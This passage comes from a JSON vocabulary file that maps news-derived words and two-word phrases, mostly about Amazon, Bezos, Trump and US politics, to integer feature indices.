rainforests\": 62669,\n  \"sanders plays\": 62670,\n  \"paid price\": 62671,\n  \"senate deferred\": 62672,\n  \"hughes ge\": 62673,\n  \"c1\": 62674,\n  \"makes difference\": 62675,\n  \"subsidizing big\": 62676,\n  \"bezos claim\": 62677,\n  \"waged\": 62678,\n  \"prices making\": 62679,\n  \"microbrewery\": 62680,\n  \"protection somebody\": 62681,\n  \"alertme\": 62682,\n  \"best carrier\": 62683,\n  \"general\": 62684,\n  \"assembly laughs\": 62685,\n  \"spiked stories\": 62686,\n  \"relatively low\": 62687,\n  \"tower doorman\": 62688,\n  \"free detained\": 62689,\n  \"carter page\": 62690,\n  \"court reversed\": 62691,\n  \"companyprofile\": 62692,\n  \"new offices\": 62693,\n  \"forming\": 62694,\n  \"late night\": 62695,\n  \"major parts\": 62696,\n  \"congress needed\": 62697,\n  \"department chief\": 62698,\n  \"questions comments\": 62699,\n  \"tackles big\": 62700,\n  \"aws offering\": 62701,\n  \"hoarding cash\": 62702,\n  \"business generally\": 62703,\n  \"amazon proprietor\": 62704,\n  \"chain 2019\": 62705,\n  \"countless family\": 62706,\n  \"rivals complain\": 62707,\n  \"temper\": 62708,\n  \"nations biggest\": 62709,\n  \"covering breaking\": 62710,\n  \"cdc afm\": 62711,\n  \"old hollywood\": 62712,\n  \"prompting google\": 62713,\n  \"clip larry\": 62714,\n  \"yang veteran\": 62715,\n  \"sears growth\": 62716,\n  \"assemblywoman simotas\": 62717,\n  \"hwasong\": 62718,\n  \"repeatedly directed\": 62719,\n  \"nascent labor\": 62720,\n  \"carrier east\": 62721,\n  \"posting jobs\": 62722,\n  \"zink\": 62723,\n  \"aggressive policy\": 62724,\n  \"easier ordering\": 62725,\n  \"process payment\": 62726,\n  \"worth jumping\": 62727,\n  \"story reed\": 62728,\n  \"niemuth\": 62729,\n  \"chaplinesque empathy\": 62730,\n  \"total media\": 62731,\n  \"tomatoes shane\": 62732,\n  \"emery used\": 62733,\n  \"presidencies\": 62734,\n  \"burien ages\": 62735,\n  \"pond\": 62736,\n  \"weekend trump\": 62737,\n  \"party goods\": 62738,\n  \"biggest annual\": 62739,\n  \"advocates looking\": 62740,\n  \"broadsides\": 62741,\n  \"amazon reduced\": 62742,\n  \"introversion\": 62743,\n  \"micromanage business\": 62744,\n  \"mccain suggested\": 62745,\n  \"buying ___\": 62746,\n  \"doesn toll\": 62747,\n  \"cable clearly\": 62748,\n  \"hurts retailers\": 62749,\n  \"started representing\": 62750,\n  \"3pm eastern\": 62751,\n  \"year growth\": 62752,\n  \"mamrie\": 62753,\n  \"democrats blasted\": 62754,\n  \"accounts posting\": 62755,\n  \"buy mvmt\": 62756,\n  \"year plan\": 62757,\n  \"segal gene\": 62758,\n  \"menswear\": 62759,\n  \"quarter amazon\": 62760,\n  \"don poke\": 62761,\n  \"kobeissi letter\": 62762,\n  \"busy schedules\": 62763,\n  \"president create\": 62764,\n  \"list confusing\": 62765,\n  \"final city\": 62766,\n  \"gubernatorial\": 62767,\n  \"analyst discovers\": 62768,\n  \"veterans native\": 62769,\n  \"infowars\": 62770,\n  \"reaching deal\": 62771,\n  \"government new\": 62772,\n  \"story contains\": 62773,\n  \"trinidad artisan\": 62774,\n  \"apple\\u00e2\": 62775,\n  \"legal amazonia\": 62776,\n  \"opinions program\": 62777,\n  \"686 shares\": 62778,\n  \"finalists second\": 62779,\n  \"biblical passages\": 62780,\n  \"buffetts amazon\": 62781,\n  \"ericengleman\": 62782,\n  \"creatures amazon\": 62783,\n  \"larger context\": 62784,\n  \"ongoing projects\": 62785,\n  \"target firm\": 62786,\n  \"truth campaign\": 62787,\n  \"clawback\": 62788,\n  \"employees inadequate\": 62789,\n  \"president open\": 62790,\n  \"strip clubs\": 62791,\n  \"recent defeat\": 62792,\n  \"months pitching\": 62793,\n  \"suffering\": 62794,\n  \"costs mean\": 62795,\n  \"superior sound\": 62796,\n  \"laissez faire\": 62797,\n  \"saying afterthought\": 62798,\n  \"read oil\": 62799,\n  \"delayed impact\": 62800,\n  \"reforming healthcare\": 62801,\n  \"arrested 000\": 62802,\n  \"cards spokesperson\": 62803,\n  \"beijing doesn\": 62804,\n  \"cbs photographer\": 62805,\n  \"issue says\": 62806,\n  \"worst nuts\": 62807,\n  \"cleared\": 62808,\n  \"education forum\": 62809,\n  \"women veronika\": 62810,\n  \"district election\": 62811,\n  \"notarization\": 62812,\n  \"clients carried\": 62813,\n  \"853\": 62814,\n  \"man shot\": 62815,\n  \"world exclusive\": 62816,\n  \"stabilize\": 62817,\n  \"fourth session\": 62818,\n  \"risk potentially\": 62819,\n  \"blue hip\": 62820,\n  \"2001 attacks\": 62821,\n  \"hardly barron\": 62822,\n  \"maria think\": 62823,\n  \"score president\": 62824,\n  \"finished goods\": 62825,\n  \"heartland guest\": 62826,\n  \"pecker ami\": 62827,\n  \"spouses unless\": 62828,\n  \"incremental development\": 62829,\n  \"overtake\": 62830,\n  \"indie books\": 62831,\n  \"nerita\": 62832,\n  \"price trading\": 62833,\n  \"b6 preventdefault\": 62834,\n  \"disclosure report\": 62835,\n  \"company requests\": 62836,\n  \"fulton market\": 62837,\n  \"sonin\": 62838,\n  \"loyalty club\": 62839,\n  \"itunes spotify\": 62840,\n  \"recent phenomenon\": 62841,\n  \"mark weinberger\": 62842,\n  \"favorite jokes\": 62843,\n  \"amzn earned\": 62844,\n  \"manipulated source\": 62845,\n  \"prices offered\": 62846,\n  \"unduly\": 62847,\n  \"stopped selling\": 62848,\n  \"list price\": 62849,\n  \"recognises\": 62850,\n  \"commodity futures\": 62851,\n  \"primary field\": 62852,\n  \"sanders doesn\": 62853,\n  \"learned mark\": 62854,\n  \"business days\": 62855,\n  \"right specifically\": 62856,\n  \"db2\": 62857,\n  \"amazing watch\": 62858,\n  \"battle ncaa\": 62859,\n  \"thing trump\": 62860,\n  \"story boeing\": 62861,\n  \"right upstairs\": 62862,\n  \"campaign finances\": 62863,\n  \"finance stocks\": 62864,\n  \"governments including\": 62865,\n  \"beneficiary\": 62866,\n  \"stz\": 62867,\n  \"amazon insatiable\": 62868,\n  \"perv les\": 62869,\n  \"obama college\": 62870,\n  \"ones forcing\": 62871,\n  \"\\u0645\\u0642\\u0627\\u0637\\u0639\\u0647_\\u0627\\u0645\\u0627\\u0632\\u0648\\u0646\": 62872,\n  \"night drama\": 62873,\n  \"meant jpmorgan\": 62874,\n  \"media imageurl\": 62875,\n  \"worth quarter\": 62876,\n  \"massive quake\": 62877,\n  \"ethnically\": 62878,\n  \"campaign pro\": 62879,\n  \"healthcare service\": 62880,\n  \"users 100m\": 62881,\n  \"mechanisms\": 62882,\n  \"hasten\": 62883,\n  \"story spans\": 62884,\n  \"wore gray\": 62885,\n  \"commented publicly\": 62886,\n  \"stops dialogue\": 62887,\n  \"sheryl gay\": 62888,\n  \"opportunities bartiromo\": 62889,\n  \"freshwater cleveland\": 62890,\n  \"climate future\": 62891,\n  \"black bolt\": 62892,\n  \"horrible ideas\": 62893,\n  \"dietitian\": 62894,\n  \"losers 1410535536\": 62895,\n  \"faith source\": 62896,\n  \"poison squared\": 62897,\n  \"fake hamburger\": 62898,\n  \"dwindle craft\": 62899,\n  \"politically amazon\": 62900,\n  \"slowest\": 62901,\n  \"1994 young\": 62902,\n  \"titular mystery\": 62903,\n  \"slas hugh\": 62904,\n  \"organization plans\": 62905,\n  \"lobbying according\": 62906,\n  \"climb 2018\": 62907,\n  \"sultan\": 62908,\n  \"notes management\": 62909,\n  \"wide memo\": 62910,\n  \"media believes\": 62911,\n  \"cdc_36162c8634251ee9931a470a_embed html\": 62912,\n  \"pearl jam\": 62913,\n  \"deedee cheater\": 62914,\n  \"security concerns\": 62915,\n  \"history reveling\": 62916,\n  \"based military\": 62917,\n  \"boldest\": 62918,\n  \"orman\": 62919,\n  \"real shot\": 62920,\n  \"y8\": 62921,\n  \"trump hardline\": 62922,\n  \"say uniformly\": 62923,\n  \"cowen ramsay\": 62924,\n  \"science spending\": 62925,\n  \"stage geekwire\": 62926,\n  \"repatriate cash\": 62927,\n  \"called blackmail\": 62928,\n  \"conventional buy\": 62929,\n  \"leisure occasions\": 62930,\n  \"pentagon doubles\": 62931,\n  \"program amazon\": 62932,\n  \"edged past\": 62933,\n  \"including food\": 62934,\n  \"zones initiative\": 62935,\n  \"cap refugees\": 62936,\n  \"pictures sneak\": 62937,\n  \"inordinate delays\": 62938,\n  \"sears shld\": 62939,\n  \"downtown genius\": 62940,\n  \"allegedly depict\": 62941,\n  \"chile paraguay\": 62942,\n  \"unhinged claim\": 62943,\n  \"steerable\": 62944,\n  \"itwas\": 62945,\n  \"yearlong public\": 62946,\n  \"fiscal impact\": 62947,\n  \"network called\": 62948,\n  \"significant internal\": 62949,\n  \"organize\": 62950,\n  \"members noted\": 62951,\n  \"moto\": 62952,\n  \"deforestation rhett\": 62953,\n  \"programs absent\": 62954,\n  \"progressive following\": 62955,\n  \"detain deport\": 62956,\n  \"definitely hinders\": 62957,\n  \"potentially recruiting\": 62958,\n  \"sleep improvement\": 62959,\n  \"fineout\": 62960,\n  \"spending million\": 62961,\n  \"organizations billed\": 62962,\n  \"online talk\": 62963,\n  \"auction block\": 62964,\n  \"wild wild\": 62965,\n  \"usual bureaucratic\": 62966,\n  \"helpless\": 62967,\n  \"gdp report\": 62968,\n  \"3p seller\": 62969,\n  \"trump knowledge\": 62970,\n  \"golden globe\": 62971,\n  \"store union\": 62972,\n  \"bureaus starting\": 62973,\n  \"newt brought\": 62974,\n  \"benefit program\": 62975,\n  \"500 rose\": 62976,\n  \"200 salespeople\": 62977,\n  \"deliver payloads\": 62978,\n  \"mobile deployments\": 62979,\n  \"counterfeits frauds\": 62980,\n  \"i9 v9\": 62981,\n  \"stoicism\": 62982,\n  \"featuring colin\": 62983,\n  \"did exactly\": 62984,\n  \"deltatakingaction\": 62985,\n  \"targeted individual\": 62986,\n  \"sizable role\": 62987,\n  \"economy paulo\": 62988,\n  \"politics melania\": 62989,\n  \"did china\": 62990,\n  \"hightower\": 62991,\n  \"expanding recreational\": 62992,\n  \"malinowski thank\": 62993,\n  \"inaudible applications\": 62994,\n  \"social goals\": 62995,\n  \"cra federal\": 62996,\n  \"journalism sexual\": 62997,\n  \"materials cnn\": 62998,\n  \"dreamliner\": 62999,\n  \"energy manufacturing\": 63000,\n  \"dsaster relief\": 63001,\n  \"announced just\": 63002,\n  \"attorney office\": 63003,\n  \"threatened number\": 63004,\n  \"jogger\": 63005,\n  \"tohold\": 63006,\n  \"weekend story\": 63007,\n  \"postnuptial agreement\": 63008,\n  \"told superior\": 63009,\n  \"act broke\": 63010,\n  \"finances produced\": 63011,\n  \"president barack\": 63012,\n  \"sevice\": 63013,\n  \"repeatedly referred\": 63014,\n  \"amazon accounted\": 63015,\n  \"cartoon mocking\": 63016,\n  \"mortgage industry\": 63017,\n  \"dive reports\": 63018,\n  \"valley famed\": 63019,\n  \"farther\": 63020,\n  \"overpowering\": 63021,\n  \"laura cornell\": 63022,\n  \"improper\": 63023,\n  \"high reached\": 63024,\n  \"unchallenged leader\": 63025,\n  \"idealistic notions\": 63026,\n  \"google offered\": 63027,\n  \"650 month\": 63028,\n  \"revenue components\": 63029,\n  \"terrible employer\": 63030,\n  \"tools leaving\": 63031,\n  \"painkiller\": 63032,\n  \"reports industries\": 63033,\n  \"hen restaurant\": 63034,\n  \"51m\": 63035,\n  \"generation architecture\": 63036,\n  \"office usps\": 63037,\n  \"family private\": 63038,\n  \"reputational threats\": 63039,\n  \"montana visit\": 63040,\n  \"grow anadolu\": 63041,\n  \"obama called\": 63042,\n  \"duked\": 63043,\n  \"dearly love\": 63044,\n  \"funds gulftimes\": 63045,\n  \"products eu\": 63046,\n  \"barr andrew\": 63047,\n  \"wire artificial\": 63048,\n  \"area dominated\": 63049,\n  \"changing earth\": 63050,\n  \"feel safer\": 63051,\n  \"jost says\": 63052,\n  \"graham writing\": 63053,\n  \"representatives\": 63054,\n  \"feel unsettled\": 63055,\n  \"2017 movie\": 63056,\n  \"previously estimated\": 63057,\n  \"gadgets pending\": 63058,\n  \"employ tens\": 63059,\n  \"feud\": 63060,\n  \"trump ambassador\": 63061,\n  \"sanders looked\": 63062,\n  \"allowed unlimited\": 63063,\n  \"palantir software\": 63064,\n  \"challenge results\": 63065,\n  \"policy seeks\": 63066,\n  \"brewer\": 63067,\n  \"choice followed\": 63068,\n  \"carnivalcruise usa\": 63069,\n  \"changes overnight\": 63070,\n  \"apparently enraged\": 63071,\n  \"twitter bots\": 63072,\n  \"fresh fears\": 63073,\n  \"flying devices\": 63074,\n  \"investigationbecause\": 63075,\n  \"money really\": 63076,\n  \"dc democratic\": 63077,\n  \"snow near\": 63078,\n  \"zone sling\": 63079,\n  \"money brennan\": 63080,\n  \"90s gretchen\": 63081,\n  \"upgrade\": 63082,\n  \"piper chapman\": 63083,\n  \"amazon situation\": 63084,\n  \"meeting earlier\": 63085,\n  \"qanon qdrops\": 63086,\n  \"republican\": 63087,\n  \"exporters\": 63088,\n  \"manafort jury\": 63089,\n  \"gushed\": 63090,\n  \"penalties\": 63091,\n  \"fucker\": 63092,\n  \"city passed\": 63093,\n  \"ux design\": 63094,\n  \"human longevity\": 63095,\n  \"underhanded long\": 63096,\n  \"series till\": 63097,\n  \"jack welch\": 63098,\n  \"modest sell\": 63099,\n  \"trumpers right\": 63100,\n  \"restrict abortion\": 63101,\n  \"center poll\": 63102,\n  \"activist variety\": 63103,\n  \"nyse twtr\": 63104,\n  \"customers wal\": 63105,\n  \"homelessness hud\": 63106,\n  \"help address\": 63107,\n  \"antitrust activity\": 63108,\n  \"colors sell\": 63109,\n  \"believe raising\": 63110,\n  \"faculty cars\": 63111,\n  \"advantage warren\": 63112,\n  \"depicts dystopian\": 63113,\n  \"great pride\": 63114,\n  \"recode\": 63115,\n  \"xl\": 63116,\n  \"sex crimes\": 63117,\n  \"york wouldgenerate\": 63118,\n  \"street strategists\": 63119,\n  \"hours night\": 63120,\n  \"central promise\": 63121,\n  \"smiths\": 63122,\n  \"nation causing\": 63123,\n  \"nazis doug\": 63124,\n  \"166 billion\": 63125,\n  \"officials story\": 63126,\n  \"forecasts sales\": 63127,\n  \"london registered\": 63128,\n  \"nice person\": 63129,\n  \"authors server719402\": 63130,\n  \"makeshift desk\": 63131,\n  \"case jeff\": 63132,\n  \"briefings\": 63133,\n  \"splitting amazon\": 63134,\n  \"couldn reliably\": 63135,\n  \"carriers include\": 63136,\n  \"amazon capital\": 63137,\n  \"destruction boomer1\": 63138,\n  \"virgin islands\": 63139,\n  \"signficant\": 63140,\n  \"peers amazon\": 63141,\n  \"overwhelmingly positive\": 63142,\n  \"lookback\": 63143,\n  \"violations continue\": 63144,\n  \"registered lobbyist\": 63145,\n  \"trump suggestion\": 63146,\n  \"solemn pledge\": 63147,\n  \"needed renovations\": 63148,\n  \"knowingly doesn\": 63149,\n  \"border areas\": 63150,\n  \"future profits\": 63151,\n  \"development strategy\": 63152,\n  \"shoot\": 63153,\n  \"boyfriend\": 63154,\n  \"publishing guidelines\": 63155,\n  \"investigation\": 63156,\n  \"company profits\": 63157,\n  \"parcels deals\": 63158,\n  \"sector amid\": 63159,\n  \"nasdaq bidu\": 63160,\n  \"shopping habits\": 63161,\n  \"accelerate appreciably\": 63162,\n  \"google contending\": 63163,\n  \"leprechaun mad\": 63164,\n  \"officials attempting\": 63165,\n  \"week entering\": 63166,\n  \"bezos spokesman\": 63167,\n  \"powered image\": 63168,\n  \"healthcare industry\": 63169,\n  \"center far\": 63170,\n  \"snopes\": 63171,\n  \"taxpayers workers\": 63172,\n  \"counterfeits removed\": 63173,\n  \"equit dxj\": 63174,\n  \"receive antiviral\": 63175,\n  \"latest talks\": 63176,\n  \"wouldn say\": 63177,\n  \"kyle great\": 63178,\n  \"children apply\": 63179,\n  \"benefits continue\": 63180,\n  \"family taking\": 63181,\n  \"feffer\": 63182,\n  \"considering opening\": 63183,\n  \"mercury news\": 63184,\n  \"jaffray explores\": 63185,\n  \"recording joining\": 63186,\n  \"anticipate making\": 63187,\n  \"stupid jokes\": 63188,\n  \"advanced degree\": 63189,\n  \"arming\": 63190,\n  \"just facebook\": 63191,\n  \"nefarious actions\": 63192,\n  \"cut iranian\": 63193,\n  \"different angles\": 63194,\n  \"soaked crowd\": 63195,\n  \"somodevilla crystal\": 63196,\n  \"apple told\": 63197,\n  \"facilitating gang\": 63198,\n  \"brought mayor\": 63199,\n  \"annual burning\": 63200,\n  \"ball deepest\": 63201,\n  \"usmca passage\": 63202,\n  \"contradictory\": 63203,\n  \"endorse bipartisan\": 63204,\n  \"bought pillpack\": 63205,\n  \"hard way\": 63206,\n  \"earnings shortfall\": 63207,\n  \"commerce goods\": 63208,\n  \"eventually expand\": 63209,\n  \"hands bezos\": 63210,\n  \"company appeared\": 63211,\n  \"nuclear powers\": 63212,\n  \"country minister\": 63213,\n  \"university postings\": 63214,\n  \"trump antitrust\": 63215,\n  \"president duterte\": 63216,\n  \"active contracts\": 63217,\n  \"2020 rnc\": 63218,\n  \"dealbreaker\": 63219,\n  \"riyadh pointing\": 63220,\n  \"reed national\": 63221,\n  \"means lots\": 63222,\n  \"site seeking\": 63223,\n  \"sides\": 63224,\n  \"materials nasdaq\": 63225,\n  \"president enjoyed\": 63226,\n  \"woman dances\": 63227,\n  \"inquisitr report\": 63228,\n  \"4194\": 63229,\n  \"bezos post\": 63230,\n  \"taxi limousine\": 63231,\n  \"bkm\": 63232,\n  \"magnolia\": 63233,\n  \"chess club\": 63234,\n  \"added international\": 63235,\n  \"st louis\": 63236,\n  \"choose new\": 63237,\n  \"bullish signal\": 63238,\n  \"scouts killed\": 63239,\n  \"amenities\": 63240,\n  \"ire bezos\": 63241,\n  \"showing signs\": 63242,\n  \"hates washington\": 63243,\n  \"current antitrust\": 63244,\n  \"add billion\": 63245,\n  \"lobbying arm\": 63246,\n  \"worked according\": 63247,\n  \"maryanne\": 63248,\n  \"keywords\": 63249,\n  \"imports reuters\": 63250,\n  \"shares high\": 63251,\n  \"amazon lion\": 63252,\n  \"private entity\": 63253,\n  \"limited reported\": 63254,\n  \"service improvements\": 63255,\n  \"honduran man\": 63256,\n  \"results expose\": 63257,\n  \"correspondent\": 63258,\n  \"report maintain\": 63259,\n  \"rising technique\": 63260,\n  \"barnes reported\": 63261,\n  \"growing rapidly\": 63262,\n  \"reunification\": 63263,\n  \"2018 levels\": 63264,\n  \"gail honeyman\": 63265,\n  \"unidentified suspects\": 63266,\n  \"inherited amazon\": 63267,\n  \"twiddles\": 63268,\n  \"eliminated refunds\": 63269,\n  \"says house\": 63270,\n  \"traveljoin\": 63271,\n  \"really buy\": 63272,\n  \"prominent tabloid\": 63273,\n  \"opposition residents\": 63274,\n  \"investigating bezos\": 63275,\n  \"altered carbon\": 63276,\n  \"platform consumers\": 63277,\n  \"superficial appearance\": 63278,\n  \"support trump\": 63279,\n  \"uncle sam\": 63280,\n  \"mquznfbced andrew\": 63281,\n  \"hillel italie\": 63282,\n  \"friends trying\": 63283,\n  \"patted\": 63284,\n  \"services netflix\": 63285,\n  \"law anqi\": 63286,\n  \"construction including\": 63287,\n  \"resurface taobao\": 63288,\n  \"acosta violates\": 63289,\n  \"236 193\": 63290,\n  \"bankrolling\": 63291,\n  \"15661\": 63292,\n  \"did wilson\": 63293,\n  \"morgan emerging\": 63294,\n  \"broader standpoint\": 63295,\n  \"internal job\": 63296,\n  \"oilprice\": 63297,\n  \"donnell\": 63298,\n  \"home care\": 63299,\n  \"boeing delta\": 63300,\n  \"pr experts\": 63301,\n  \"plaintiff complaint\": 63302,\n  \"gold says\": 63303,\n  \"ovens schwan\": 63304,\n  \"independently\": 63305,\n  \"politics women\": 63306,\n  \"capped\": 63307,\n  \"google needs\": 63308,\n  \"owns 400\": 63309,\n  \"spicer book\": 63310,\n  \"targets amazon\": 63311,\n  \"2018 nbc\": 63312,\n  \"daniels midland\": 63313,\n  \"steadily fallen\": 63314,\n  \"undervalued think\": 63315,\n  \"africa sweden\": 63316,\n  \"website total\": 63317,\n  \"started running\": 63318,\n  \"players aliexpress\": 63319,\n  \"bram janssen\": 63320,\n  \"charges trump\": 63321,\n  \"classified documents\": 63322,\n  \"equity company\": 63323,\n  \"paying subscribers\": 63324,\n  \"profound civil\": 63325,\n  \"history cronyism\": 63326,\n  \"day troubles\": 63327,\n  \"recovery ends\": 63328,\n  \"knockdown drag\": 63329,\n  \"aaron grunwald\": 63330,\n  \"eye frequently\": 63331,\n  \"000 unique\": 63332,\n  \"approval took\": 63333,\n  \"signed contracts\": 63334,\n  \"standard\": 63335,\n  \"critical review\": 63336,\n  \"bender senior\": 63337,\n  \"new equipment\": 63338,\n  \"create products\": 63339,\n  \"dodge\": 63340,\n  \"3196\": 63341,\n  \"lobbying tool\": 63342,\n  \"happy new\": 63343,\n  \"meltdowns\": 63344,\n  \"prenuptial\": 63345,\n  \"net valuations\": 63346,\n  \"reportedly make\": 63347,\n  \"abound panelists\": 63348,\n  \"worth 165\": 63349,\n  \"board according\": 63350,\n  \"buying moving\": 63351,\n  \"million hectares\": 63352,\n  \"thirds vote\": 63353,\n  \"amid severe\": 63354,\n  \"steve herman\": 63355,\n  \"breakeven\": 63356,\n  \"erase transgenders\": 63357,\n  \"kick\": 63358,\n  \"hunt investigation\": 63359,\n  \"breinigsville pennsylvania\": 63360,\n  \"neorealism\": 63361,\n  \"nosrat salt\": 63362,\n  \"granted clemency\": 63363,\n  \"yousuck2020 status\": 63364,\n  \"open existing\": 63365,\n  \"cuellar\": 63366,\n  \"liberator code\": 63367,\n  \"cramer believes\": 63368,\n  \"vast retail\": 63369,\n  \"russia sought\": 63370,\n  \"perimeter\": 63371,\n  \"manager started\": 63372,\n  \"consumers continued\": 63373,\n  \"includes companies\": 63374,\n  \"mccain speaking\": 63375,\n  \"destroyer warning\": 63376,\n  \"did promote\": 63377,\n  \"hire hell\": 63378,\n  \"postal package\": 63379,\n  \"usual amazon\": 63380,\n  \"basing\": 63381,\n  \"free membership\": 63382,\n  \"million employees\": 63383,\n  \"outline alleged\": 63384,\n  \"episode demonstrates\": 63385,\n  \"turbulent markets\": 63386,\n  \"awaited remake\": 63387,\n  \"derangeddonald\": 63388,\n  \"favor white\": 63389,\n  \"florence death\": 63390,\n  \"advertising titled\": 63391,\n  \"block hate\": 63392,\n  \"panglossian projections\": 63393,\n  \"starboard seeks\": 63394,\n  \"customers data\": 63395,\n  \"privacy data\": 63396,\n  \"brant\": 63397,\n  \"delivery intelligence\": 63398,\n  \"codified principles\": 63399,\n  \"flint lead\": 63400,\n  \"underlying growth\": 63401,\n  \"iot industrial\": 63402,\n  \"le guin\": 63403,\n  \"screwed\": 63404,\n  \"personally liable\": 63405,\n  \"amazon outside\": 63406,\n  \"revenue helps\": 63407,\n  \"oracle workday\": 63408,\n  \"beijing says\": 63409,\n  \"imports amazon\": 63410,\n  \"live alums\": 63411,\n  \"embarrassment writing\": 63412,\n  \"bid amazon\": 63413,\n  \"day meeting\": 63414,\n  \"charter planes\": 63415,\n  \"standing exclusive\": 63416,\n  \"wedding vacations\": 63417,\n  \"initially ignored\": 63418,\n  \"watch cbs\": 63419,\n  \"policies lobbied\": 63420,\n  \"man recorded\": 63421,\n  \"walkout\": 63422,\n  \"bezos penis\": 63423,\n  \"shares hsbc\": 63424,\n  \"ex hillary\": 63425,\n  \"scream maher\": 63426,\n  \"suspect\": 63427,\n  \"ago pfizer\": 63428,\n  \"closing price\": 63429,\n  \"attended united\": 63430,\n  \"day ms\": 63431,\n  \"build safer\": 63432,\n  \"daily beast\": 63433,\n  \"pass federal\": 63434,\n  \"wheels intended\": 63435,\n  \"statement contained\": 63436,\n  \"sensanders\": 63437,\n  \"headache\": 63438,\n  \"profile dinner\": 63439,\n  \"joined republican\": 63440,\n  \"going head\": 63441,\n  \"unsuccessful visit\": 63442,\n  \"khashoggi son\": 63443,\n  \"family doctors\": 63444,\n  \"grammer\": 63445,\n  \"legitimacy integrity\": 63446,\n  \"portion 700\": 63447,\n  \"bankruptcy protection\": 63448,\n  \"cells\": 63449,\n  \"chewing\": 63450,\n  \"stoppropagation\": 63451,\n  \"paul mccartney\": 63452,\n  \"causing agita\": 63453,\n  \"outside company\": 63454,\n  \"tullier\": 63455,\n  \"hell bent\": 63456,\n  \"ryan seacrest\": 63457,\n  \"whistle smears\": 63458,\n  \"cnn congressional\": 63459,\n  \"oracle earnings\": 63460,\n  \"analytics tools\": 63461,\n  \"resolution removes\": 63462,\n  \"awful long\": 63463,\n  \"east elmhurst\": 63464,\n  \"rank\": 63465,\n  \"extortion won\": 63466,\n  \"whopping enterprise\": 63467,\n  \"returning\": 63468,\n  \"buy particular\": 63469,\n  \"shrinking\": 63470,\n  \"offering handouts\": 63471,\n  \"giants given\": 63472,\n  \"japan ap\": 63473,\n  \"passes house\": 63474,\n  \"localized level\": 63475,\n  \"posting nonsense\": 63476,\n  \"cranberry\": 63477,\n  \"funded shelters\": 63478,\n  \"customer businesses\": 63479,\n  \"c8 g8\": 63480,\n  \"fools someday\": 63481,\n  \"week introduction\": 63482,\n  \"interactives\": 63483,\n  \"coordinates\": 63484,\n  \"considered key\": 63485,\n  \"brazil respectively\": 63486,\n  \"const\": 63487,\n  \"ching huang\": 63488,\n  \"tremendous potential\": 63489,\n  \"public sphere\": 63490,\n  \"autostartvideo true\": 63491,\n  \"callbackobj onplayerready\": 63492,\n  \"kesel amazon\": 63493,\n  \"leather ear\": 63494,\n  \"policy amazon\": 63495,\n  \"afflicting\": 63496,\n  \"colors people\": 63497,\n  \"shares amalgamated\": 63498,\n  \"gelsinger\": 63499,\n  \"tiny business\": 63500,\n  \"greedy di\": 63501,\n  \"trolling chinese\": 63502,\n  \"actually ask\": 63503,\n  \"laws does\": 63504,\n  \"clancy fictional\": 63505,\n  \"report trump\": 63506,\n  \"logistics companies\": 63507,\n  \"liquefied\": 63508,\n  \"relatives visit\": 63509,\n  \"childish language\": 63510,\n  \"activity olsavsky\": 63511,\n  \"letterman\": 63512,\n  \"cylinders\": 63513,\n  \"greater noise\": 63514,\n  \"biased narratives\": 63515,\n  \"longtime security\": 63516,\n  \"inappropriate comments\": 63517,\n  \"worked love\": 63518,\n  \"jamaican\": 63519,\n  \"ge subsidiaries\": 63520,\n  \"trouble fitting\": 63521,\n  \"eilllng3bh\": 63522,\n  \"searched\": 63523,\n  \"gpu makers\": 63524,\n  \"herera michael\": 63525,\n  \"destroyed google\": 63526,\n  \"geeky\": 63527,\n  \"post fear\": 63528,\n  \"kids content\": 63529,\n  \"government monopolies\": 63530,\n  \"yes michael\": 63531,\n  \"2018 elbow\": 63532,\n  \"kelly mcbride\": 63533,\n  \"employees referred\": 63534,\n  \"ministry spokeswoman\": 63535,\n  \"sellers face\": 63536,\n  \"message\": 63537,\n  \"direct responses\": 63538,\n  \"hefty pay\": 63539,\n  \"time assuming\": 63540,\n  \"google amazon\": 63541,\n  \"steve blackman\": 63542,\n  \"environmental groups\": 63543,\n  \"says gartner\": 63544,\n  \"owner newshub\": 63545,\n  \"patriotism\": 63546,\n  \"formal\": 63547,\n  \"revised measure\": 63548,\n  \"weekend finding\": 63549,\n  \"statement indigenous\": 63550,\n  \"current day\": 63551,\n  \"low priced\": 63552,\n  \"risk cnbc\": 63553,\n  \"customer usage\": 63554,\n  \"active talks\": 63555,\n  \"quality expectations\": 63556,\n  \"law china\": 63557,\n  \"away stuart\": 63558,\n  \"suggestions send\": 63559,\n  \"regulatory reporting\": 63560,\n  \"winstead\": 63561,\n  \"nungesser reveals\": 63562,\n  \"protesting horrible\": 63563,\n  \"headlines humiliating\": 63564,\n  \"emailed company\": 63565,\n  \"spokesperson mentioned\": 63566,\n  \"encompasses silicon\": 63567,\n  \"palantir involvement\": 63568,\n  \"selling wide\": 63569,\n  \"ask questions\": 63570,\n  \"hondurans\": 63571,\n  \"santucci\": 63572,\n  \"competing\": 63573,\n  \"rate growth\": 63574,\n  \"market rate\": 63575,\n  \"products check\": 63576,\n  \"clear prologue\": 63577,\n  \"amazonfcadam\": 63578,\n  \"ghosts\": 63579,\n  \"drainage\": 63580,\n  \"fortune bs_bullet_primary\": 63581,\n  \"tit caught\": 63582,\n  \"minimis\": 63583,\n  \"tv roku\": 63584,\n  \"prioritized negative\": 63585,\n  \"latest authors\": 63586,\n  \"series explores\": 63587,\n  \"comey report\": 63588,\n  \"trump allegedly\": 63589,\n  \"anable\": 63590,\n  \"offered amazon\": 63591,\n  \"announce today\": 63592,\n  \"thousand migrants\": 63593,\n  \"mechanical turk\": 63594,\n  \"comment period\": 63595,\n  \"b7qmsx3wd\": 63596,\n  \"hour worked\": 63597,\n  \"gas rent\": 63598,\n  \"energy humans\": 63599,\n  \"lecturer\": 63600,\n  \"basically conspiracy\": 63601,\n  \"defense information\": 63602,\n  \"ancient\": 63603,\n  \"abc spencer\": 63604,\n  \"unevenness\": 63605,\n  \"bezos weighed\": 63606,\n  \"addressing\": 63607,\n  \"gasoline restaurants\": 63608,\n  \"live fixtures\": 63609,\n  \"declared hopefully\": 63610,\n  \"ridiculed\": 63611,\n  \"similar offender\": 63612,\n  \"ami deals\": 63613,\n  \"donuts forget\": 63614,\n  \"justifying argument\": 63615,\n  \"license collective\": 63616,\n  \"apostle\": 63617,\n  \"106 billion\": 63618,\n  \"important issue\": 63619,\n  \"brito head\": 63620,\n  \"site\": 63621,\n  \"day1\": 63622,\n  \"team lost\": 63623,\n  \"australia richest\": 63624,\n  \"management structure\": 63625,\n  \"performer\": 63626,\n  \"rally\": 63627,\n  \"treaty\": 63628,\n  \"dimitrios\": 63629,\n  \"local children\": 63630,\n  \"information reported\": 63631,\n  \"embarrass bezos\": 63632,\n  \"handle brexit\": 63633,\n  \"sanchez standing\": 